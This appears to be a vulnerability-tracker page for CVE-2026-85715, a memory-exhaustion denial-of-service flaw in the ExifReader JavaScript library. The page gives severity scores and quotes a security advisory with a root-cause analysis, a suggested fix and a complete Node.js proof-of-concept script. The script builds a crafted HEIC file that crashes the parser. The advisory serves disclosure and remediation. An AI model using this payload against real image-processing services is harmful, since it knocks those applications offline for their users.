CVE-2026-85715

highpriority · track · 0EPSS 0.006 · 49 %ileUS
grimoire priorityP2 · Scheduled
Exploitable?
—
no known exploitation
Likely / severe?
0.61% (49th) EPSS
CVSS 7.5 · high
Is it mine?
1 products
Check your exposure
Who says so?
1 sources
osv

EPSS · scored 2026-10-27

ExifReader is a JavaScript Exif information parser. Prior to 4.41.1, ExifReader parses attacker-controlled HEIC or AVIF ISO-BMFF files in getItems() within src/image-header-iso-bmff-iloc.js and trusts iloc itemCount and extentCount values while allocating an extent object for every nested-loop iteration. When offsetSize, lengthSize, baseOffsetSize, and indexSize are zero, the extent fields consume no input bytes and the buffer offset does not advance, but the parser can still allocate up to itemCount multiplied by extentCount objects without an allocation budget. A small malicious iloc box can therefore cause hundreds of megabytes of heap growth or exhaust system memory, terminating a Node.js process and denying service to web, desktop, or mobile applications that parse untrusted images. The zero field widths are valid ISO-BMFF values indicating absent fields, so the vulnerable parser must bound work rather than relying on offset advancement. The issue is fixed in version 4.41.1.

01

cvss

Technical severity, 0–10. One row per scoring source.

7.5
010

base score 0–10 · higher = more severe · hover a vector to decode⚠ sources disagree · medium–high · 6.9–7.5

v3.17.5highCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:Hsecondary · security-advisories@github.comexploitability 3.9 · impact 3.6
v3.17.5highCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:Hsecondary · OSV
v3.16.9mediumCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:Usecondary · CVSS-BT (t0sche)
02

ssvc

A stakeholder decision — act, attend, or track — from exploitation and impact.

Exploitation: poc · Automatable: yes · Technical Impact: partialcoordinatorcisa_ssvcUS
03

weaknesses

The CWE weakness classes this flaw belongs to.

04

affected products (1)

Products and version ranges known to be affected.

05

advisories (1)

Vendor and ecosystem advisories describing this.

  • GHSA-pj96-35fp-cfccExifReader: DoS via Crafted HEIC/AVIF iloc Box - Memory Exhaustion2026-09-17ghsa · osvUS

    ## Summary ExifReader 4.41.0 is vulnerable to denial of service through a crafted HEIC or AVIF file with a malicious `iloc` box. When `offsetSize`, `lengthSize`, and `baseOffsetSize` are set to zero in the iloc header, the extent-parsing loop allocates an unbounded number of JavaScript objects - up to `itemCount × extentCount` (65535 × 65535 = 4.3 billion) - without advancing the buffer offset. A 652-byte file causes 400MB of heap growth; a 6KB file exhausts all system memory and crashes the Node.js process with a JavaScript heap out-of-memory error. ## Affected version tested - npm package: `exifreader` - Version: `4.41.0` - Affected formats: HEIC, AVIF (ISO-BMFF container) ## Root cause **File:** `src/image-header-iso-bmff-iloc.js`, lines 79–116, function `getItems()`. The iloc parser reads four size fields from the file (each a 4-bit nibble, valid values 0–15): | Field | Controls | |-------|----------| | `offsetSize` | Bytes per extent offset | | `lengthSize` | Bytes per extent length | | `baseOffsetSize` | Bytes per item base offset | | `indexSize` | Bytes per extent index | The code then enters a nested loop: for each item (up to 65535), and for each extent within that item (up to 65535), it reads variable-width fields and advances the buffer offset by the corresponding size: ```javascript for (let j = 0; j < item.extentCount; j++) { const extent = {}; extent.extentIndex = getExtentIndex(dataView, version, offset, indexSize); offset += sizes.item.extent.extentIndex; // 0 when indexSize=0 extent.extentOffset = getVariableSizedValue(dataView, offset, offsetSize); offset += sizes.item.extent.extentOffset; // 0 when offsetSize=0 extent.extentLength = getVariableSizedValue(dataView, offset, lengthSize); offset += sizes.item.extent.extentLength; // 0 when lengthSize=0 item.extents.push(extent); // allocates unconditionally } ``` When all four size fields are zero (a valid value per the ISO-BMFF specification, meaning "field not present"), the buffer offset never advances inside the inner loop. Yet every iteration still pushes a new extensible object onto `item.extents`. There is no iteration cap, no cumulative allocation budget, and no guard that skips the inner loop when all sizes are zero. ## Reproduction Save the following as `poc_iloc_dos.js` and run with Node.js against the bundled `dist/exif-reader.js`: ```javascript const fs = require('fs'); const ExifReader = require('../ExifReader-4.41.0/dist/exif-reader.js'); function u32be(n) { return [(n >>> 24) & 255, (n >>> 16) & 255, (n >>> 8) & 255, n & 255]; } function u16be(n) { return [(n >>> 8) & 255, n & 255]; } function str(s) { return Array.from(Buffer.from(s, 'ascii')); } function box(type, content) { return [...u32be(8 + content.length), ...str(type), ...content]; } const ITEMS = 10000; const EXTENTS = 65535; const ftyp = box('ftyp', [ ...str('heic'), ...u32be(0), ...str('mif1'), 0, 0, 0, 0, ]); const ilocPayload = [ 0, 0, 0, 0, 0, 0, ...u16be(ITEMS), ]; for (let i = 0; i < ITEMS; i++) { ilocPayload.push(...u16be(i + 1)); ilocPayload.push(...u16be(0)); ilocPayload.push(...u16be(EXTENTS)); } const iloc = box('iloc', ilocPayload); const meta = box('meta', [0, 0, 0, 0, ...iloc]); const data = Uint8Array.from([...ftyp, ...meta]); fs.writeFileSync('/tmp/poc_iloc_dos.heic', data); console.log(`${data.length} bytes | ${ITEMS} items x ${EXTENTS} extents | ~${((ITEMS * EXTENTS * 80) / (1024 ** 3)).toFixed(0)} GB expected`); const start = Date.now(); const timeout = setTimeout(() => { console.log(`[DoS CONFIRMED] Hung after ${((Date.now() - start) / 1000).toFixed(1)}s`); process.exit(1); }, 30000); try { ExifReader.load(data.buffer); clearTimeout(timeout); console.log(`Parse completed in ${((Date.now() - start) / 1000).toFixed(1)}s`); } catch (e) { clearTimeout(timeout); console.log(`Error: ${e.message}`); } ``` ### Scaled test results Run the above with different ITEMS values: | Items | File size | Extent objects | Parse time | Heap growth | |-------|-----------|---------------|------------|-------------| | 1 | 58 bytes | 65,535 | 0.03s | +4 MB | | 5 | 82 bytes | 327,675 | 0.17s | +16 MB | | 100 | 652 bytes | 6,553,500 | 1.74s | +401 MB | | 256 | 1,588 bytes | 16,776,960 | ~8s | OOM crash | | 10000 | 60,052 bytes | 655,350,000 | - | OOM crash (4 GB+) | <img width="1839" height="588" alt="image" src="https://github.com/user-attachments/assets/cc3bd540-4197-4ada-93c9-3397811a6c02" /> ## Expected behavior A zero-size field is valid per the ISO-BMFF spec (it means the field is not present). The parser should either: 1. Skip the inner extent loop when all extent field sizes are zero and no items need extent data, or 2. Cap the number of extent objects allocated (e.g., a per-item or cumulative budget). ## Security impact This is a denial-of-service vulnerability. An unauthenticated attacker can craft a ~1 KB HEIC/AVIF image that, when parsed by ExifReader, causes a JavaScript heap out-of-memory crash, aborting the application process. Any web service, desktop application, or mobile app that processes user-uploaded HEIC/AVIF images through ExifReader is affected. **Note:** The impact is established using ExifReader's existing distributed (`dist/exif-reader.js`) code. ## Suggested fix In `src/image-header-iso-bmff-iloc.js`, in the `getItems()` function, add a maximum per-item extent limit: ```javascript const MAX_EXTENTS_PER_ITEM = 10000; for (let j = 0; j < item.extentCount; j++) { if (item.extents.length >= MAX_EXTENTS_PER_ITEM) { break; } // ... existing code ... } ``` Alternatively (or additionally), skip the inner loop when all extent field sizes are zero: ```javascript if (sizes.item.extent.extentOffset === 0 && sizes.item.extent.extentLength === 0) { // Fields are absent per spec; nothing meaningful to read // Still advance offset if extentCount > 0 to maintain correctness continue; } ```

06

sources

Which sources assert this record, and when.

published 2026-09-17modified 2026-09-30
08

references (3) nvd

External citations — patches, advisories, analysis.

scry

Attackers weaponise vulnerabilities like this against internet-exposed services. See what is exposed on your perimeter with a free passive scan.

Free scan